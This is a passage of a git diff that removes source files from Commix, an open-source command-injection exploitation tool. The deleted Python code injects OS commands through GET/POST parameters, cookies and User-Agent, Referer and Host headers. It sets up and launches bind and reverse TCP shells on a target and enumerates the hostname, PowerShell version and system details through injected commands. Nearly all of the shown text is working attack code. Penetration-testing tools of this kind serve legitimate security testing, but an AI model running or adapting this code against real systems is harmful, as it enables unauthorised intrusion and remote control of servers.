(if level > 2). -""" -def stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec): - - for check_parameter in settings.HTTP_HEADERS: - settings.HTTP_HEADER = check_parameter - if check_for_stored_sessions(url, http_request_method): - if check_parameter == "referer": - menu.options.referer = settings.INJECT_TAG - settings.REFERER_INJECTION = True - elif check_parameter == "host": - menu.options.host= settings.INJECT_TAG - settings.HOST_INJECTION = True - else: - menu.options.agent = settings.INJECT_TAG - settings.USER_AGENT_INJECTION = True - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - - if not settings.LOAD_SESSION: - http_headers_injection(url, http_request_method, filename, timesec) - - -""" -Cookie injection -""" -def cookie_injection(url, http_request_method, filename, timesec): - - settings.COOKIE_INJECTION = True - - # Cookie Injection - if settings.COOKIE_INJECTION == True: - cookie_value = menu.options.cookie - - header_name = " cookie" - settings.HTTP_HEADER = header_name[1:].lower() - cookie_parameters = parameters.do_cookie_check(menu.options.cookie) - if type(cookie_parameters) is str: - cookie_parameters_list = [] - cookie_parameters_list.append(cookie_parameters) - cookie_parameters = cookie_parameters_list - - # Remove whitespaces - cookie_parameters = [x.replace(" ", "") for x in cookie_parameters] - - check_parameters = [] - for i in range(0, len(cookie_parameters)): - menu.options.cookie = cookie_parameters[i] - check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - check_parameters.append(check_parameter) - - checks.print_non_listed_params(check_parameters, http_request_method, header_name) - - for i in range(0, len(cookie_parameters)): - parameter = menu.options.cookie = cookie_parameters[i] - check_parameter = parameters.specify_cookie_parameter(parameter) - if check_parameter != parameter: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - - # Check if testable parameter(s) are provided - if len(settings.TEST_PARAMETER) > 0: - if menu.options.test_parameter != None: - param_counter = 0 - for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): - menu.options.cookie = cookie_parameters[param_counter] - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - param_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - - if settings.COOKIE_INJECTION == True: - # Restore cookie value - menu.options.cookie = cookie_value - # Disable cookie injection - settings.COOKIE_INJECTION = False - -""" -Check if HTTP Method is GET. -""" -def get_request(url, http_request_method, filename, timesec): - - #if not settings.COOKIE_INJECTION: - found_url = parameters.do_GET_check(url, http_request_method) - if found_url != False: - - check_parameters = [] - for i in range(0, len(found_url)): - url = found_url[i] - check_parameter = parameters.vuln_GET_param(url) - check_parameters.append(check_parameter) - - header_name = "" - checks.print_non_listed_params(check_parameters, http_request_method, header_name) - - for i in range(0, len(found_url)): - url = found_url[i] - check_parameter = parameters.vuln_GET_param(url) - if check_parameter != url: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - - # Check if testable parameter(s) are provided - if len(settings.TESTABLE_PARAMETER) > 0: - if menu.options.test_parameter != None: - url_counter = 0 - for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): - url = found_url[url_counter] - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - url_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - - # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and menu.options.cookie: - settings.COOKIE_INJECTION = True - -""" -Check if HTTP Method is POST. -""" -def post_request(url, http_request_method, filename, timesec): - - # Check if HTTP Method is POST. - parameter = menu.options.data - found_parameter = parameters.do_POST_check(parameter, http_request_method) - - # Check if singe entry parameter - if type(found_parameter) is str: - found_parameter_list = [] - found_parameter_list.append(found_parameter) - found_parameter = found_parameter_list - - if settings.IS_XML: - # Remove junk data - found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] - else: - # Remove whitespaces - found_parameter = [x.replace(" ", "") for x in found_parameter] - - # Check if multiple parameters - check_parameters = [] - for i in range(0, len(found_parameter)): - parameter = menu.options.data = found_parameter[i] - check_parameter = parameters.vuln_POST_param(parameter, url) - check_parameters.append(check_parameter) - - header_name = "" - checks.print_non_listed_params(check_parameters, http_request_method, header_name) - - for i in range(0, len(found_parameter)): - #if settings.INJECT_TAG in found_parameter[i]: - parameter = menu.options.data = found_parameter[i] - check_parameter = parameters.vuln_POST_param(parameter, url) - if check_parameter != parameter: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided - if len(settings.TESTABLE_PARAMETER) > 0: - if menu.options.test_parameter != None: - param_counter = 0 - for check_parameter in check_parameters: - if check_parameter in "".join(settings.TEST_PARAMETER).split(","): - menu.options.data = found_parameter[param_counter] - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - param_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - - # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL and menu.options.cookie: - settings.COOKIE_INJECTION = True - -""" -Perform checks -""" -def perform_checks(url, http_request_method, filename): - - def basic_level_checks(): - if not menu.options.bulkfile: - settings.PERFORM_BASIC_SCANS = False - else: - settings.PERFORM_BASIC_SCANS = True - settings.SKIP_CODE_INJECTIONS = False - settings.SKIP_COMMAND_INJECTIONS = False - settings.IDENTIFIED_WARNINGS = False - settings.IDENTIFIED_PHPINFO = False - # Check if HTTP Method is GET. - if not menu.options.data: - get_request(url, http_request_method, filename, timesec) - # Check if HTTP Method is POST. - else: - post_request(url, http_request_method, filename, timesec) - - timesec = settings.TIMESEC - # Check if authentication is needed. - if menu.options.auth_url and menu.options.auth_data: - # Do the authentication process. - authentication.authentication_process() - - # Check if authentication page is the same with the next (injection) URL - if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read(): - err_msg = "It seems that the authentication procedure has failed." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - elif menu.options.auth_url or menu.options.auth_data: - err_msg = "You must specify both login panel URL and login parameters." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - pass - - if menu.options.shellshock: - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - else: - check_for_stored_levels(url, http_request_method) - - if settings.PERFORM_BASIC_SCANS: - basic_level_checks() - - # Check for stored injections on User-agent / Referer / Host HTTP headers (if level > 2). - if menu.options.level >= settings.HTTP_HEADER_INJECTION_LEVEL: - if settings.INJECTED_HTTP_HEADER == False : - check_parameter = "" - stored_http_header_injection(url, check_parameter, http_request_method, filename, timesec) - else: - # Enable Cookie Injection - if menu.options.level > settings.DEFAULT_INJECTION_LEVEL: - if menu.options.cookie: - cookie_injection(url, http_request_method, filename, timesec) - else: - warn_msg = "The HTTP Cookie header is not provided, " - warn_msg += "so this test is going to be skipped." - print(settings.print_warning_msg(warn_msg)) - else: - # Custom header Injection - if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - settings.CUSTOM_HEADER_INJECTION = None - - - if settings.INJECTION_CHECKER == False: - return False - else: - return True - -""" -General check on every injection technique. -""" -def do_check(url, http_request_method, filename): - # Check for '--tor' option. - if menu.options.tor: - if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: - warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " - warn_msg += "time-based injections because of inherent high latency time." - print(settings.print_warning_msg(warn_msg)) - - # Check for "backticks" tamper script. - if settings.USE_BACKTICKS == True: - if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: - warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - - # Check for "wizard" switch. - if menu.options.wizard: - if perform_checks(url, http_request_method, filename) == False: - scan_level = menu.options.level - while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: - while True: - if not menu.options.batch: - question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) - question_msg += "' in order to perform more tests? [Y/n] > " - next_level = _input(settings.print_question_msg(question_msg)) - else: - next_level = "" - if len(next_level) == 0: - next_level = "Y" - if next_level in settings.CHOICE_YES: - menu.options.level = int(menu.options.level + scan_level) - if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : - scan_level = scan_level + 1 - else: - break - elif next_level in settings.CHOICE_NO: - break - elif next_level in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + next_level + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - perform_checks(url, http_request_method, filename) - - # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : - if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: - err_msg = "All tested parameters " - if menu.options.level > 2: - err_msg += "and HTTP headers " - err_msg += "appear to be not injectable." - if not menu.options.alter_shell : - err_msg += " Try to use the option '--alter-shell'" - else: - err_msg += " Try to remove the option '--alter-shell'" - if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : - err_msg += " and/or increase '--level' values to perform" - err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)" - if menu.options.skip_empty: - err_msg += " and/or remove the option '--skip-empty'" - err_msg += "." - print(settings.print_critical_msg(err_msg)) - - logs.print_logs_notification(filename, url) - if not settings.CHECK_BOTH_OS and not menu.options.bulkfile: - # if not menu.options.bulkfile or settings.EOF: - # print(settings.SINGLE_WHITESPACE) - raise SystemExit() -# eof \ No newline at end of file diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py deleted file mode 100755 index c9c8bd5a89..0000000000 --- a/src/core/injections/controller/parser.py +++ /dev/null @@ -1,207 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import os -import re -import sys -import time -import base64 -import datetime -from src.utils import menu -from src.utils import settings -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init - -""" -Parse target and data from http proxy logs (i.e Burp or WebScarab) -""" -def logfile_parser(): - """ - Warning message for mutiple request in same log file. - """ - def multi_requests(): - print(settings.SINGLE_WHITESPACE) - err_msg = "Multiple" - if menu.options.requestfile: - err_msg += " requests" - elif menu.options.logfile: - err_msg += " targets" - err_msg += " are not supported, thus all coming" - if menu.options.requestfile: - err_msg += " requests " - elif menu.options.logfile: - err_msg += " targets " - err_msg += "will be ignored." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - return False - - """ - Error message for invalid data. - """ - def invalid_data(request): - print(settings.SINGLE_WHITESPACE) - err_msg = "Specified file " - err_msg += "'" + os.path.split(request_file)[1] + "'" - err_msg += " does not contain a valid HTTP request." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - if menu.options.requestfile: - info_msg = "Parsing HTTP request " - request_file = menu.options.requestfile - elif menu.options.logfile: - info_msg = "Parsing target " - request_file = menu.options.logfile - - info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - - if not os.path.exists(request_file): - print(settings.SINGLE_WHITESPACE) - err_msg = "It seems that the '" + request_file + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - else: - try: - if menu.options.requestfile: - with open(request_file, 'r') as file: - settings.RAW_HTTP_HEADERS = [line.strip() for line in file] - settings.RAW_HTTP_HEADERS = [header for header in settings.RAW_HTTP_HEADERS if header] - settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] - settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] - settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) - except IOError as err_msg: - error_msg = "The '" + request_file + "' " - error_msg += str(err_msg.args[1]).lower() + "." - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - if os.stat(request_file).st_size != 0: - with open(request_file, 'r') as file: - request = file.read() - else: - invalid_data(request_file) - - single_request = True - pattern = r'HTTP/([\d.]+)' - if len(re.findall(pattern, request)) > 1: - single_request = multi_requests() - - if len(settings.HTTP_METHOD) == 0: - http_method = request.strip().splitlines()[0].split()[0] - settings.HTTP_METHOD = http_method - else: - http_method = settings.HTTP_METHOD - - if "\\n" in request: - request = request.replace("\\n","\n") - request_url = re.findall(r"" + " (.*) HTTP/", request) - - if request_url: - # Check last line for POST data - if len(request.splitlines()[-1]) != 0: - result = [item for item in request.splitlines() if item] - multiple_xml = [] - for item in result: - if checks.is_XML_check(item): - multiple_xml.append(item) - if len(multiple_xml) != 0: - menu.options.data = '\n'.join([str(item) for item in multiple_xml]) - else: - menu.options.data = result[len(result)-1] - else: - try: - # Check if url ends with "=". - if request_url[0].endswith("="): - request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) - except IndexError: - invalid_data(request_file) - - # Check if invalid data - if not request_url: - invalid_data(request_file) - else: - request_url = "".join([str(i) for i in request_url]) - - # Check for other headers - extra_headers = "" - prefix = "http://" - for line in request.splitlines(): - if re.findall(r"Host: " + "(.*)", line): - menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) - # User-Agent Header - elif re.findall(r"User-Agent: " + "(.*)", line) and not (menu.options.agent or menu.options.mobile): - menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) - # Cookie Header - elif re.findall(r"Cookie: " + "(.*)", line): - menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) - # Referer Header - elif re.findall(r"Referer: " + "(.*)", line): - menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) - if menu.options.referer and "https://" in menu.options.referer: - prefix = "https://" - elif re.findall(r"Authorization: " + "(.*)", line): - auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() - menu.options.auth_type = auth_provided[0].lower() - if menu.options.auth_type == "basic": - menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() - elif menu.options.auth_type == "digest": - if not menu.options.auth_cred: - print(settings.SINGLE_WHITESPACE) - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Add extra headers - else: - match = re.findall(r"(.*): (.*)", line) - match = "".join([str(i) for i in match]).replace("', '",":") - match = match.replace("('","") - match = match.replace("')","\\n") - # Ignore some header. - if "Content-Length" or "Accept-Encoding" in match: - extra_headers = extra_headers - else: - extra_headers = extra_headers + match - - # Extra headers - menu.options.headers = extra_headers - - # Target URL - if not menu.options.host: - invalid_data(request_file) - else: - menu.options.url = prefix + menu.options.host + request_url - if single_request: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if menu.options.logfile: - info_msg = "Parsed target from '" + os.path.split(request_file)[1] + "' for tests :" - print(settings.print_info_msg(info_msg)) - sub_content = http_method + " " + prefix + menu.options.host + request_url - print(settings.print_sub_content(sub_content)) - if menu.options.data: - sub_content = "Data: " + menu.options.data - print(settings.print_sub_content(sub_content)) - -# eof \ No newline at end of file diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py deleted file mode 100755 index 1837647ee2..0000000000 --- a/src/core/injections/controller/shell_options.py +++ /dev/null @@ -1,189 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -import time -from src.utils import logs -from src.utils import menu -from src.utils import settings -from src.core.shells import bind_tcp -from src.core.shells import reverse_tcp -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.classic import cb_injector -from src.core.injections.results_based.techniques.eval_based import eb_injector -from src.core.injections.semiblind.techniques.file_based import fb_injector - -""" -Check for established connection -""" -def check_established_connection(): - while True: - time.sleep(1) - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Something went wrong with the reverse TCP connection." - warn_msg += " Please wait while checking state." - print(settings.print_warning_msg(warn_msg)) - lines = os.popen('netstat -anta').read().split("\n") - for line in lines: - if settings.LHOST + ":" + settings.LPORT in line and "ESTABLISHED" in line: - pass - else: - return - -""" -Execute the bind / reverse TCP shell -""" -def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE): - if settings.EVAL_BASED_STATE != False: - # Command execution results. - start = time.time() - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - end = time.time() - diff = end - start - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - else: - # Command execution results. - start = time.time() - if settings.FILE_BASED_STATE == True: - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - else: - whitespace = settings.WHITESPACES[0] - if whitespace == " ": - whitespace = _urllib.parse.quote(whitespace) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - end = time.time() - diff = end - start - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - - if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6): - check_established_connection() - else: - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - - err_msg = "The " + os_shell_option.split("_")[0] + " " - err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - print(settings.print_critical_msg(err_msg)) - -""" -Configure the bind TCP shell -""" -def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE): - settings.BIND_TCP = True - # Set up RHOST / LPORT for the bind TCP connection. - bind_tcp.configure_bind_tcp(separator) - if settings.BIND_TCP == False: - if settings.REVERSE_TCP == True: - os_shell_option = "reverse_tcp" - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) - return go_back, go_back_again - - while True: - if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS: - result = checks.check_bind_tcp_options(settings.RHOST) - else: - cmd = bind_tcp.bind_tcp_options(separator) - result = checks.check_bind_tcp_options(cmd) - if result != None: - if result == 0: - go_back_again = False - elif result == 1 or result == 2: - go_back_again = True - settings.BIND_TCP = False - elif result == 3: - settings.BIND_TCP = False - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) - return go_back, go_back_again - - # execute bind TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) - -""" -Configure the reverse TCP shell -""" -def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE): - settings.REVERSE_TCP = True - # Set up LHOST / LPORT for the reverse TCP connection. - reverse_tcp.configure_reverse_tcp(separator) - if settings.REVERSE_TCP == False: - if settings.BIND_TCP == True: - os_shell_option = "bind_tcp" - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) - return go_back, go_back_again - - while True: - if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: - result = checks.check_reverse_tcp_options(settings.LHOST) - else: - cmd = reverse_tcp.reverse_tcp_options(separator) - result = checks.check_reverse_tcp_options(cmd) - if result != None: - if result == 0: - go_back_again = False - elif result == 1 or result == 2: - go_back_again = True - settings.REVERSE_TCP = False - elif result == 3: - settings.REVERSE_TCP = False - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) - #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) - return go_back, go_back_again - - # execute reverse TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) - -""" -Check commix shell options -""" -def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE): - os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) - - if os_shell_option == "back" or os_shell_option == True or os_shell_option == False: - go_back = True - if os_shell_option == False: - go_back_again = True - return go_back, go_back_again - - # The "os_shell" option - elif os_shell_option == "os_shell": - warn_msg = "You are already into the '" + os_shell_option + "' mode." - print(settings.print_warning_msg(warn_msg)) - return go_back, go_back_again - - # The "bind_tcp" option - elif os_shell_option == "bind_tcp": - go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) - return go_back, go_back_again - - # The "reverse_tcp" option - elif os_shell_option == "reverse_tcp": - go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) - return go_back, go_back_again - - # The "quit" option - elif os_shell_option == "quit": - logs.print_logs_notification(filename, url) - raise SystemExit() - - else: - return go_back, go_back_again - diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/injections/results_based/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/injections/results_based/techniques/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py deleted file mode 100644 index b50e6972c9..0000000000 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py deleted file mode 100755 index 80f3bafa09..0000000000 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ /dev/null @@ -1,591 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import sys -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import logs -from src.utils import menu -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import requests -from src.core.injections.results_based.techniques.classic import cb_injector - -""" -The "classic" technique on result-based OS command injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - ps_version = cb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # Output PowerShell's version number - info_msg = "The PowerShell's version number is " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - checks.ps_check_failed() - -""" -Hostname enumeration -""" -def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - shell = "".join(str(p) for p in shell) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) - -""" -Retrieve system information -""" -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if settings.TARGET_OS == "win": - if alter_shell: - cmd = "cmd /c " + cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, 